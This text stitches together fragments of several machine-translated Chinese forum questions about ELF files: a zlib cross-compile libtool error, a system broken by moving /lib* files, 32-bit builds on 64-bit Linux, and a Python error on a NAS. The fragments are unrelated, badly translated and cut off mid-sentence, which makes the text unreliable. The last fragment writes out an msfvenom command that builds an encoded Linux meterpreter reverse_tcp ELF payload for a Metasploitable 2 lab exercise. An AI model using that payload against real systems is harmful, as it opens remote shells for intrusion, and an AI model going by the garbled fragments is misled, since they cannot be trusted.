我正在尝试用工具集构建zlib。作为构建过程的一部分,源文件应该被编译成带有arm-linux-gnu-eabi-gcc -c的对象,然后用libtool组合成一个归档文件,但是libtool失败了,并抱怨每个.o文件都传递给它is not an object file (not allowed in a library)。
经过检查,我发现arm-linux-gnu-eabi-gcc -c正在生成ELF文件,而不是对象文件,这是我以前从未见过的。当我将-c -v传递给编译器时,我可以看到链接器没有被调用。那么为什么是ELF格式呢?
然后,我尝试调用arm-linux-gnu-eabi-gcc
我将以lib开头的所有文件从/../移到某个文件夹as,mv /../lib* /to/some/folder
在此之后,我无法移动它,back.It作为-bash: /bin/mv: /lib64/ld-linux-x86-64.so.2: bad ELF interpreter: No such file or directory来了
即使对ls来说,它也是-bash: /bin/ls: /lib64/ld-linux-x86-64.so.2: bad ELF interpreter: No such file or directory
我是这样写的:
gcc -m elf_i386
上面写着:
gcc: error: elf_i386: No such file or directory
基本上,我试图在64位系统上编译一个32位程序,但错误:
/usr/lib64/gcc/x86_64-suse-linux/4.6/../../../../x86_64-suse-linux/bin/ld:
skipping incompatible /usr/lib/libSDL.so when searching for -lSDL
我已经检查了用-m32构建的项目,我可以看到所有的*.o文件都是ELF32位LSB,以及/usr/l
我目前正试图让python在我的NAS上运行,这是一个Zyxel NSA325。
我成功地实现了python2.7和pip的运行,并且成功地安装了带pip的监视狗模块。我跟踪这些指示让python和pip运行。
当我运行使用看门狗模块的python脚本时,我会得到一个weir错误,很难。
/usr/local/zy-pkgs/ffproot/ffp/bin/python2.7: '/ffp/lib/libc.so' is not an ELF file
我在谷歌上搜索了ELF文件的头文件应该是什么样子,显然,它以7f 45 4c 46开头,它被翻译成.ELF。所以我做了一个快速
如何使用msfvenom精灵方法处理元可倍2?
我正在读一本书,教我如何为Windows制作一个msfvenom可执行文件。但我正在学习元可绘制2。我真的不想跳过这一节而不理解这一点。所以我得到了另外两本书,但他们都只教Windows的方法,搜索网络,似乎我只找到了Windows的方式。所以我自己就开始做了。我做了下面的事。
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -e x86/shikata_ga_nai -f elf -o t